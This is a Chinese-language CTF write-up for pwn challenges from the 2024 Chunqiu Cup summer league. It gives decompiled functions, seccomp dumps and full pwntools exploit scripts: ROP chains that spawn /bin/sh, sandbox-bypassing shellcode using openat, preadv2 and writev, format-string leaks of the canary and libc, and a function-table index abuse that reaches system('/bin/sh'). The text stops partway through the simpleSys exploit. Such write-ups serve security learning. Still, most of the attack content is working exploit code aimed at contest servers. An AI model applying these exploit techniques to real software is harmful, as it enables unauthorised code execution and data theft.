2024年暑期学习 (1)

2024年 “春秋杯” 网络安全联赛夏季赛

0x00 CTF

stdout

程序保护如下

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

这题的难点在于 setvbuf(stdout, 0LL, 0, 0LL) 操作会开启 stdout 缓冲区的全缓冲,导致程序在结束时才会刷新缓冲区并输出数据,因此在程序运行过程中不会有任何输出,包括执行 ROP 链泄露的 libc 信息

setvbuf() 函数的原型如下

int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
  • stream 是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流

  • buffer 是分配给用户的缓冲,如果设置为 NULL,该函数会自动分配一个指定大小的缓冲

  • mode 指定了文件缓冲的模式

  • size 是缓冲的大小,以字节为单位

该函数的三参有三种模式:

  • 全缓冲:0,缓冲区满调用fflush() 后输出缓冲区内容

  • 行缓冲:1,缓冲区满遇到换行符调用fflush() 后输出缓冲区内容

  • 无缓冲:2,直接输出

了解了这些,后面的思路无非是通过填满缓冲区调用fflush()来输出缓冲区内容。但要调用 fflush() 函数显然需要 libc 基地址,但哪怕能够执行到 ROP 链泄出地址,也不会直接将数据输出,那么方法只剩下通过填满缓冲区的方式将数据带出来了

int init()
{
  setvbuf(stdout, 0LL, 0, 0LL);
  return setvbuf(stdin, 0LL, 2, 0LL);
}

main() 函数中存在 0x10 大小栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  init();
  puts("where is my stdout???");
  read(0, buf, 0x60uLL);
  return 0;
}

vuln() 函数处有更大的溢出,extend() 函数的功能表面上是扩展 GOT 表,但实际上另有用途,这里会输出不少字符串

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x200uLL);
}

__int64 extend()
{
  __int64 result; // rax
  char s[8]; // [rsp+0h] [rbp-30h] BYREF
  __int64 v2; // [rsp+8h] [rbp-28h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  int v5; // [rsp+28h] [rbp-8h]
  int v6; // [rsp+2Ch] [rbp-4h]

  puts("Just to increase the number of got tables");
  *(_QWORD *)s = 0x216F6C6C6568LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  v6 = strlen(s);
  if ( strcmp(s, "hello!") )
    exit(0);
  puts("hello!");
  srand(1u);
  v5 = 0;
  result = (unsigned int)(rand() % 16);
  v5 = result;
  return result;
}

最终思路是 ROP 控制程序输出来填满输出缓冲区,带出地址后 ret2libc,exp 如下

刚开始没注意到有 extend() 函数,所以在循环发送泄 xxx_got 的 ROP 链,这样下来每次输出的字节都不多,所以要需要很多次循环,但是远程连接并不稳定,经常地址还没泄出来就断开连接了,被本地通远端不通折磨了挺久的,最后想到可以用 extend() 函数来加速填满输出缓冲区

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['8.147.134.120', 37382]
pwnfile = './pwn'

elf = ELF(pwnfile)
libcfile = './libc-2.31.so'
libc = ELF(libcfile)

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def recv64_addr():
    return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    # debug('b *0x40125D')
    payload1 = 'a'*(0x50+0x8)
    payload1 += p64(0x40125D)
    p.send(payload1)

    vuln = 0x40125D
    pop_rdi_ret = 0x4013d3
    read_got = elf.got['read']
    puts_plt = 0x4010B0
    ret = 0x40136E
    ext = 0x401287

    for i in range(2):
        log.info('count: ' + hex(i))
        payload2 = 'a'*(0x20+0x8) 
        # payload2 += p64(ret)
        payload2 += p64(ext)*55
        payload2 += p64(pop_rdi_ret)
        payload2 += p64(read_got)
        payload2 += p64(puts_plt)
        payload2 += p64(vuln)
        # sleep(0.05)
        p.send(payload2)

    read_addr = recv64_addr()
    # loginfo("read_addr: ", read_addr)
    libc_base = read_addr - libc.symbols['read']
    loginfo("libc_base: ", libc_base)

    # debug('b *0x40136E')
    pop_rsi_ret = libc_base + 0x2601f
    pop_rdx_ret = libc_base + 0x142c92
    pop_rax_ret = libc_base + 0x36174
    syscall = libc_base + 0x2284d
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
    payload = 'a'*(0x20+0x8) 
    payload += p64(ret)*2
    payload += p64(pop_rsi_ret)
    payload += p64(0)
    payload += p64(pop_rdx_ret)
    payload += p64(0)
    payload += p64(pop_rdi_ret)
    payload += p64(binsh_addr)
    # payload += p64(system_addr)
    payload += p64(pop_rax_ret)
    payload += p64(59)
    payload += p64(syscall)
    p.send(payload)

exp()
p.interactive()

Shuffled_Execution

mmap 了一段具有 rwx 权限的段,用于执行往这里写入的 shellcode,沙箱禁用如下,最后选择使用 openat, preadv2, writev 进行 orw flag

ve1kcon@wsl:~/work/CTF/2024_7/cqb2024_x/Shuffled_Execution$ seccomp-tools dump ./pwn
The only chance to pass the entrance.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
 0007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0015
 0008: 0x15 0x06 0x00 0x00000011  if (A == pread64) goto 0015
 0009: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 0015
 0010: 0x15 0x04 0x00 0x00000028  if (A == sendfile) goto 0015
 0011: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0015
 0012: 0x15 0x02 0x00 0x00000127  if (A == preadv) goto 0015
 0013: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x06 0x00 0x00 0x00000000  return KILL

用户输入后会在 shuffle() 函数中对输入进行变换,但是操作长度 sc_lenv3 = strlen(s) 传入,所以可以使用 "\x00" 来绕过

unsigned __int64 __fastcall shuffle(__int64 sc, unsigned __int64 sc_len)
{
  char tmp; // [rsp+1Bh] [rbp-15h]
  int i; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 ran; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  srand(0x1337u);
  if ( sc_len > 1 )
  {
    for ( i = 0; i < sc_len >> 1; ++i )
    {
      ran = rand() % sc_len;
      tmp = *(_BYTE *)(i + sc);
      *(_BYTE *)(i + sc) = *(_BYTE *)(sc + ran);// 循环对前一半字符(使用shellcode里的随机一个字符)进行逐一随机变换
      *(_BYTE *)(ran + sc) = tmp;
    }
  }
  return v6 - __readfsqword(0x28u);
}

还有一点是在执行 shellcode 前对大部分寄存器的值都清零了,所以需要先对 rsp 进行重新赋值才能使用到出栈入栈的操作

.text:00000000000014F0                 mov     rbx, 0
.text:00000000000014F7                 mov     rcx, 0
.text:00000000000014FE                 mov     rdx, 0
.text:0000000000001505                 mov     rdi, 0
.text:000000000000150C                 mov     rsi, 0
.text:0000000000001513                 mov     r8, 0
.text:000000000000151A                 mov     r9, 0
.text:0000000000001521                 mov     r10, 0
.text:0000000000001528                 mov     r11, 0
.text:000000000000152F                 mov     r12, 0
.text:0000000000001536                 mov     r13, 0
.text:000000000000153D                 mov     r14, 0
.text:0000000000001544                 mov     r15, 0
.text:000000000000154B                 mov     rbp, 0
.text:0000000000001552                 mov     rsp, 0
.text:0000000000001559                 mov     rax, 1337000h
.text:0000000000001560                 jmp     rax

exp 如下,要用 preadv2writev 的话,主要是要注意 iovec 这个结构体,注释里使用到的双花括号只是转义,否则会被解释成变量占位符

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['8.147.132.12', 44463]
pwnfile = './pwn'

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    '''
    fname = '/home/ve1kcon/flag'
    mov rax,0x{fname0}; push rax;
    mov rax,0x{fname1}; push rax;
    mov rax,0x{fname2}; push rax;
    fname0 = fname[16:][::-1].encode('hex')
    fname1 = fname[8:16][::-1].encode('hex')
    fname2 = fname[:8][::-1].encode('hex')
    '''

    fname = '/flag'
    # pay = 'nop;'*0x20
    pay = """
    mov rsp, 0x1337500;
    
    /* openat(0, *file_name, 0) */
    mov rax,0x{fname0}; push rax;
    push rsp;           pop rsi;
    mov rdi, 0;
    mov rdx, 0;
    mov rax, 257;       syscall;

    /* vec -> const struct iovec {{ void *buf; size_t count }}; */
    push 0x100;         push 0x1337600;
    push rsp;           pop r15;
    
    /* preadv2(3, *vec, 1) */
    mov rdi, 3;
    mov rsi, r15;
    mov rdx, 1;
    mov rax, 327;       syscall;

    /* writev(1, *vec, 1) */
    mov rdi, 1;
    mov rax, 20;        syscall;
    """.format(
        fname0=fname[:8][::-1].encode('hex')
    )
    # debug('b *$rebase(0x16CB)')
    # debug('''b *$rebase(0x1559)
    # c
    # b *0x133702d''')
    p.sendlineafter('entrance.\n', '\x00'*2 + asm(pay))

exp()
p.interactive()

SavethePrincess

程序保护如下,保护开满

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./'

init() 函数处初始化了 key,而且随机数不可预测

unsigned __int64 init()
{
  unsigned int buf; // [rsp+Ch] [rbp-14h] BYREF
  int i; // [rsp+10h] [rbp-10h]
  int fd; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  buf = 0;
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    perror("open");
    exit(0);
  }
  read(fd, &buf, 4uLL);
  srand(buf);
  buf = 0;
  close(fd);
  for ( i = 0; i <= 7; ++i )
    key[i] = rand() % 26 + 97;                  // key unpredictable
  return v4 - __readfsqword(0x28u);
}

magic() 函数中将 buf 填满即可在输出字符串时将 for 循环的次数 i 带出,可以用这一个字节数据来判断前 i+1 个字符是否匹配,所以可以利用这个地方逐字节爆破随机数 dest,然后利用后面的格式化字符串漏洞泄露 libc 地址,canary 和 stack 地址

__int64 magic()
{
  char dest[8]; // [rsp+5h] [rbp-1Bh] BYREF
  char buf[10]; // [rsp+Dh] [rbp-13h] BYREF
  char i; // [rsp+17h] [rbp-9h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  strcpy(dest, love);
  if ( fmt == 1 )
    printf("You have gained your power, now go and defeat the dragon and save the SWDD princess");
  puts("please input your password: ");
  read(0, buf, 0xAuLL);
  for ( i = 0; i <= 7; ++i )
  {
    if ( buf[i] != dest[i] )
    {
      printf("you password is %s\n,nononno!!!\n", buf);
      return 0LL;
    }
  }
  puts("successfully, Embrace the power!!!");
  fmt = 1;
  read(0, dest, 0x14uLL);
  printf(dest);
  return 0LL;
}

challenge() 函数处会开启沙箱,还有个栈溢出可以利用

__int64 Challenge()
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Attack the dragon!!");
  read(0, buf, 0x200uLL);
  puts("The dragon attacks you before it dies");
  sandbox();
  puts("Did you succeed?");
  return 0LL;
}

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
 0006: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0013
 0007: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 0013
 0008: 0x15 0x04 0x00 0x00000028  if (A == sendfile) goto 0013
 0009: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0013
 0010: 0x15 0x02 0x00 0x00000127  if (A == preadv) goto 0013
 0011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

exp 如下

# coding=utf-8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'

libcfile = './libc.so.6'
libc = ELF(libcfile)

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def menu(index):
    p.sendlineafter('> \n', str(index))

def magic(content='a'):
    menu(1)
    p.sendafter('password: \n', content)

def exp():
    key = ''
    realkey = ''
    testkey = 'a'
    for i in range(8):                  # 8-letter
        for j in range(26):             # a-z
            key = key.ljust(10, 'a')
            magic(key)

            # loginfo('[!]'*10)
            # p.recvuntil('you password is '+key, timeout=0.5)
            data = p.recvuntil('you password is '+key, timeout=0.5)
            loginfo(data)
            if not data.startswith("you"):              # the correct key has been obtained at this time
                break
            tmp = p.recv(1)
            
            print('round:'+str(i)+'; count:'+str(j)+'; times:'+tmp)
            if tmp != struct.pack('B', i + 1):          # integer -> single byte of binary data, if times ≠ round+1, lose
                testkey = chr(ord("b")+j)               # char1 -> ascii -> char2
                key = realkey + testkey                 # reset key
                continue                                # jump out of the current j loop
            loginfo('realkey++!')
            realkey += testkey
            print('real key now: '+realkey)
            break                                       # jump out of the current i loop

    # realkey = key[:-2]
    # loginfo(realkey)
    # p.sendlineafter('successfully, Embrace the power!!!\n', 'a')
    # menu(1)
    # p.sendafter('password: \n', realkey)

    # debug('''b *$rebase(0x166A)
    # c
    # b *$rebase(0x16C5)''')
    # debug('b *$rebase(0x170C)')

    payload = '%9$p%15$p%10$p+'
    p.sendlineafter('successfully, Embrace the power!!!\n', payload)
    p.recvuntil('0x')
    canary = int(p.recvuntil('0x')[:-2],16)
    loginfo('canary: ', canary)
    libc_base = int(p.recvuntil('0x')[:-2],16) - 0x29d90
    loginfo('libc_base: ', libc_base)
    stack_addr = int(p.recvuntil("+")[:-1],16)
    input_addr = stack_addr - 0x60                     # 0x7fff72ec2810->0x7fff72ec27b0 is -0x60 bytes (-0xc words) 
    loginfo('stack_addr: ', stack_addr)

    # ----- openat preadv2 writev -----
    pop_rdi_ret = libc_base + 0x2a3e5
    pop_rsi_ret = libc_base + 0x2be51
    pop_rdx_r12_ret = libc_base + 0x11f2e7
    pop_rcx_ret = libc_base + 0x3d1ee
    # r10 = libc_base + 0x115af4                          # mov r10, rcx ; mov eax, 0x104 ; syscall # syscal does not modify the value of r10 after execution
    pop_rax_ret = libc_base + 0x45eb0
    syscall = libc_base + 0x29db4
    openat_addr = libc_base + libc.symbols['openat']
    preadv2_addr = libc_base + libc.symbols['preadv2']
    writev_addr = libc_base + libc.symbols['writev']
    # loginfo('preadv2_addr: ', preadv2_addr)
    loginfo('pop_rdi_ret: ', pop_rdi_ret)
    # loginfo('writev_addr: ', writev_addr)

    flag = '/flag'.ljust(8, '\x00')

    openat = ''
    # openat = p64(pop_rcx_ret) + p64(0)
    # openat += p64(r10)
    openat += p64(pop_rdi_ret) + p64(0)
    openat += p64(pop_rsi_ret) + p64(input_addr+0x160)
    openat += p64(pop_rdx_r12_ret) + p64(0)*2
    openat += p64(openat_addr)
    # openat += p64(pop_rax_ret) + p64(257) + p64(syscall)


    preadv2 = p64(pop_rdi_ret) + p64(3)
    preadv2 += p64(pop_rsi_ret) + p64(input_addr+0x150)
    preadv2 += p64(pop_rdx_r12_ret) + p64(1)*2
    preadv2 += p64(pop_rcx_ret) + p64(0)
    preadv2 += p64(preadv2_addr)
    # preadv2 += p64(pop_rax_ret) + p64(327) + p64(syscall)

    writev = p64(pop_rdi_ret) + p64(1)
    writev += p64(writev_addr)
    # writev += p64(pop_rax_ret) + p64(20) + p64(syscall)

    payload = 'a'*(0x40-0x8) + p64(canary) + p64(0)
    payload += openat + preadv2 + writev
    payload = payload.ljust(0x150, 'a')
    payload += p64(input_addr+0x300) + p64(0x100)
    payload += flag

    menu(2)
    p.sendlineafter('Attack the dragon!!\n', payload)

exp()
p.interactive()

libc 库里的 preadv2() 函数

__int64 preadv64v2()
{
  __int64 result; // rax
  unsigned int v1; // er14

  if ( __readfsdword(0x18u) )
  {
    v1 = sub_909F0();
    __asm { syscall; LINUX - }
    sub_90A60(v1);
    result = 327LL;
  }
  else
  {
    result = 327LL;
    __asm { syscall; LINUX - }
  }
  return result;
}

0x01 AWDP

sspiiiiiil

这个题刚开始没怎么逆明白,但其实逻辑也没那么复杂。首先要留意用户输入时将数据往栈上哪处写了,然后关注程序会取这片内存的数据进行什么操作,最后有一个维护了函数表的数组

程序保护如下,保护开满

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序主要逻辑如下,有四个功能

// bad sp value at call has been detected, the output may be wrong!
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+0h] [rbp-4834h] BYREF
  char s[2096]; // [rsp+4h] [rbp-4830h] BYREF
  char v5; // [rsp+834h] [rbp-4000h] BYREF
  __int64 v6[512]; // [rsp+3834h] [rbp-1000h] BYREF

  while ( v6 != (__int64 *)&v5 )
    ;
  v6[511] = __readfsqword(0x28u);
  init_0();
  memset(s, 0, 0x4828uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("Give me your choice: ");
      __isoc99_scanf("%d", &v3);
      if ( v3 != 4 )
        break;
      bye();
    }
    if ( v3 <= 4 )
    {
      switch ( v3 )
      {
        case 3:
          exc(s);
          break;
        case 1:
          sandbox();
          break;
        case 2:
          evil_read(s);
          break;
      }
    }
  }
}

功能 1 只是打开一个沙箱,没有其他服务,正经人谁会去调用它自找麻烦(x

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

功能 2 可以往栈上写入 0x400 字节数据,函数调用的传参是一个栈指针,所以是写入到 *(&s+0x808) 的位置,s 是在 main() 函数里定义的局部变量

ssize_t __fastcall evil_read(__int64 a1)
{
  puts("see you");
  return read(0, (void *)(a1 + 0x808), 0x400uLL);
}

功能 3 里最核心的代码是 (functions[v3])(s),这里面可以根据用户输入执行到对应的函数,分析如下

functions 是一个函数表,v1 = *(&s + 0x2808) 是存储了一个计数值的地方,初值为 0,通过静态分析可以发现每次对函数表进行调用时,这个值都会增大;v3 由用户输入决定,因为 *(s+0x808+8*v1) 指向的就是功能 2 的输入点,但是会判断 v3 > 0xB

int __fastcall exc(__int64 s)
{
  __int64 v1; // rax
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  while ( 1 )
  {
    v1 = *(_QWORD *)(s + 0x2808);
    *(_QWORD *)(s + 0x2808) = v1 + 1;           // count from 0
    v3 = *(_QWORD *)(s + 8 * (v1 + 0x100) + 8); // *(s+0x808+8*v1)
    if ( v3 > 0xB )
      break;
    ((void (__fastcall *)(__int64))functions[v3])(s);
  }
  return printf("Unknown instruction %zu\n", v3);
}

.data:0000000000004020 functions       dq offset exit_addr     ; DATA XREF: funA+54↑o
.data:0000000000004020                                         ; funA+5B↑r ...
.data:0000000000004028                 dq offset fun1
.data:0000000000004030                 dq offset fun2
.data:0000000000004038                 dq offset fun3
.data:0000000000004040                 dq offset fun4
.data:0000000000004048                 dq offset fun5
.data:0000000000004050                 dq offset fun6
.data:0000000000004058                 dq offset fun7
.data:0000000000004060                 dq offset fun8
.data:0000000000004068                 dq offset fun9
.data:0000000000004070                 dq offset funA
.data:0000000000004078                 dq offset funB
.data:0000000000004080                 dq offset funC

偏移为 0xA 的函数里最后执行了类似 exc() 里的函数调用,但是没有对函数表偏移进行判断

__int64 __fastcall funA(__int64 a1)
{
  __int64 v1; // rax
  __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = *(_QWORD *)(a1 + 0x2808) + 1LL;
  v1 = *(_QWORD *)(a1 + 0x2808);
  *(_QWORD *)(a1 + 0x2808) = v1 + 1;
  ((void (__fastcall *)(__int64))functions[*(_QWORD *)(a1 + 8 * (v1 + 0x100) + 8)])(a1);
  return sub_1386(a1, v3);
}

可以在 funcA() 函数里调用到偏移为 0xC 的函数,这里有个 system() 函数的调用,参数可控,但是想要执行到 system(/bin/sh) 就需要控好传入的参数,这就需要分析清楚程序逻辑后才能知道怎么去布置栈数据,计算过程详见下列注释

int __fastcall funC(__int64 a1)
{
  __int64 v1; // rax

  v1 = *(_QWORD *)(a1 + 0x2808);
  *(_QWORD *)(a1 + 0x2808) = v1 + 1;
  return system((const char *)(8 * (*(_QWORD *)(a1 + 8 * (v1 + 0x100) + 8) + 0x502LL) + a1));
  // Argument passing can be simplified as: 8*(*(a1+0x808+8*v1)+0x502))+a1
  // How to arrange stack data: &a1+0x820 -> '/bin/sh'
  // At this time the count of v1 is equal to 2, because this is the third time to make function call
  // *(&a1 + 0x818) + 0x502 = 0x820/8
  // *(&a1 + 0x818) = -1022 = FFFF FFFF FFFF FC02
}

exp 如下

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    p.sendlineafter('choice:', '2')
    payload = p64(0xA) + p64(0xC)
    payload += p64(0xFFFFFFFFFFFFFC02) + '/bin/sh\x00'
    p.sendlineafter('see you\n', payload)
    # debug('brva 0x1D77')
    p.sendlineafter('choice:', '3')

exp()
p.interactive()

Fix 就是把 funA() 函数里的计算偏移的方式改一下,使得平台 check 脚本里原本的栈布局不能梭通,但是又不影响函数表其他函数的功能。可以将框着的 8 改成其他数,比如说 16

image-20240718123009759

simpleSys

程序保护如下,无 canary

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

选项 3 是一个填写简历的功能,但需要 root 账户才能使用,evil_read((__int64)s, v3) 存在整数溢出从而导致栈溢出 + off_by_null,然后还可以填充数据直到栈上存储了地址的地方,在执行到 printf("confirm your bio: %s [y/n]", s) 时带出地址信息,泄出地址后选择 n 继续循环

unsigned __int64 __fastcall evil_read(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 result; // rax
  unsigned __int8 buf; // [rsp+1Bh] [rbp-5h] BYREF
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( a2 <= i )
      break;
    if ( read(0, &buf, 1uLL) != 1 )
    {
      result = i + a1;
      *(_BYTE *)result = 0;
      return result;
    }
    result = buf;
    if ( buf == 10 )
      return result;
    *(_BYTE *)(a1 + i) = buf;
  }
  return result;
}

int vuln()
{
  int result; // eax
  char s[91]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int8 v2; // [rsp+5Bh] [rbp-5h] BYREF
  int v3; // [rsp+5Ch] [rbp-4h]

  if ( !check_login )
    return puts("login first");
  if ( !check_root )
    return puts("only root");
  while ( 1 )
  {
    printf("input length: ");
    v3 = get_num();
    if ( v3 > 80 )
      break;
    evil_read((__int64)s, v3);
    printf("confirm your bio: %s [y/n]", s);
    __isoc99_scanf("%c", &v2);
    getchar();
    result = v2;
    if ( v2 == 'y' )
      return result;
    v3 = 0;
    memset(s, 0, 0x50uLL);
  }
  return puts("too long");
}

选项 2 是一个用户登录的功能,漏洞点在匹配到用户名为 root 后进入到的那个分支,base64() 函数会将用户输入的密码经过 base64 编码后存储在 mypasswd_b

int login()
{
  unsigned int v0; // eax
  size_t v1; // rax
  int result; // eax
  size_t v3; // rax
  size_t v4; // rax
  char mypasswd[48]; // [rsp+0h] [rbp-60h] BYREF
  char myname[48]; // [rsp+30h] [rbp-30h] BYREF

  memset(myname, 0, 0x25uLL);
  memset(mypasswd, 0, 0x25uLL);
  printf("username: ");
  evil_read((__int64)myname, 0x24uLL);
  printf("password: ");
  evil_read((__int64)mypasswd, 0x24uLL);
  if ( !strncmp(myname, "root", 4uLL) )
  {
    v0 = strlen(mypasswd);
    base64(mypasswd, v0, &mypasswd_b);
    v1 = strlen(root_passwd);
    if ( !strncmp(&mypasswd_b, root_passwd, v1) )
    {
      result = printf("%s login successfully\n", myname);
      check_root = 1;
      check_login = 1;
      return result;
    }
  }
  else
  {
    v3 = strlen(name);
    if ( !strncmp(myname, name, v3) )
    {
      v4 = strlen(passwd);
      if ( !strncmp(mypasswd, passwd, v4) )
      {
        result = printf("%s login successfully\n", myname);
        check_login = 1;
        return result;
      }
    }
  }
  return puts("fail to login");
}

输入 36 个 'a' 进行编码后长度为 0x30,存储到 mypasswd_b 时因为存在 off-by-null 会将紧挨着的 root_passwd 低位覆盖为 '\x00',使得判断长度 v1 = strlen(root_passwd) 的值为 0 绕过判断,从而能够登录 root 账户

.data:0000000000004020 ; char mypasswd_b
.data:0000000000004020 mypasswd_b      dq 0FFFFFFFFFFFFFFFFh   ; DATA XREF: login+B7↑o
.data:0000000000004020                                         ; login+E4↑o
.data:0000000000004028                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004030                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004038                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004040                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004048                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004050 ; char root_passwd[24]
.data:0000000000004050 root_passwd     db 'dGhpcyBpcyBwYXNzd29yZA=='
.data:0000000000004050                                         ; DATA XREF: login+C8↑o
.data:0000000000004050                                         ; login+DA↑o

其实可以发现 root_passwd 是以硬编码的形式存储,可以 base64 解码得到明文 this is password,但还是登录失败,经过调试发现了奇怪的地方,strncmp() 函数的三参是 0x19,照例来说编码的长度是 0x18

image-20240718233316386

v1 = strlen(root_passwd) 判断的是 root_passwd 的长度,因为后面其紧跟着 '\x01' 字节,所以导致检测长度增加,然后它也不是一串合法的经 base64 编码能得到字符串,所以只能按上述方法绕过

image-20240718233455716

image-20240718233703896

思路明确了,绕过登录 root 账户后,泄栈上残留的 libc 指针,利用栈溢出打 ROP,exp 如下

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'

elf = ELF(pwnfile)
libc = elf.libc

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def recv64_addr():
    return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def menu(index):
    p.sendlineafter('Enter your choice: ', str(index))

def signup(username, passwd):
    menu(1)
    p.sendlineafter('username: ', username)
    p.sendlineafter('password: ', passwd)

def login(username, passwd):
    menu(2)
    p.sendlineafter('username: ', username)
    p.sendlineafter('password: ', passwd)

def addbio(len, content='a'):
    menu(3)
    p.sendlineafter('length: ', str(len))
    p.sendline(content)

def exp():
    # debug('brva 0x162B')
    # debug('brva 0x1675')
    # debug('brva 0x14FA')
    # debug('brva 0x1656')
    # debug('brva 0x1515')
    login('root', 'a'*36)
    # login('root', 'this is password')

